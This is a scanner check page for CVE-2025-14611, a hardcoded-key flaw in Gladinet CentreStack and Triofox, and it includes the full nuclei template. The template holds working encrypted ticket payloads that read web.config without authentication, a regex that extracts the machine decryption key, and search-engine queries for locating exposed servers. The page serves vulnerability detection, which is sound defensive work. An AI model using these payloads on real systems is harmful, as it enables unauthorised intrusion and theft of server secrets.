Gladinet CentreStack & Triofox - Hardcoded Credentials

Exploited in the wild. Listed by CISA on 2025-12-15; known to be used by ransomware.

criticalseverity

9.8CVSS score

54.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gladinet CentreStack and Triofox < 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.

Impact

Attackers can exploit hardcoded AES keys to perform arbitrary local file inclusion, potentially leading to full system compromise.

Fix

Update to version 16.12.10420.56791 or later.

How to confirm it

Send: GET {{BaseURL}}/storage/filesvr.dn?t={{ticket}}
Positive when: status_code == 200 and contains_all(body, "<configuration>","<system.web>") and contains_any(header, "application/xml","text/xml","application/octet-stream")

Run it with nuclei: nuclei -id CVE-2025-14611 -u <target>

The full check

id: CVE-2025-14611

info:
  name: Gladinet CentreStack & Triofox - Hardcoded Credentials
  author: 0xanis
  severity: critical
  description: |
    Gladinet CentreStack and Triofox < 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.
  impact: |
    Attackers can exploit hardcoded AES keys to perform arbitrary local file inclusion, potentially leading to full system compromise.
  remediation: |
    Update to version 16.12.10420.56791 or later.
  reference:
    - https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-321
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="CentreStack" || title="Triofox"
    google-query: intitle:"CentreStack - Login" || intitle:"Triofox - Login"
  tags: cve,cve2025,gladinet,centrestack,triofox,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/storage/filesvr.dn?t={{ticket}}"

    attack: batteringram
    payloads:
      ticket:
        # C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
        # C:\Program Files\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<configuration>","<system.web>")'
          - 'contains_any(header, "application/xml","text/xml","application/octet-stream")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: decryption_key
        group: 1
        regex:
          - 'decryptionKey="([A-Fa-f0-9]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from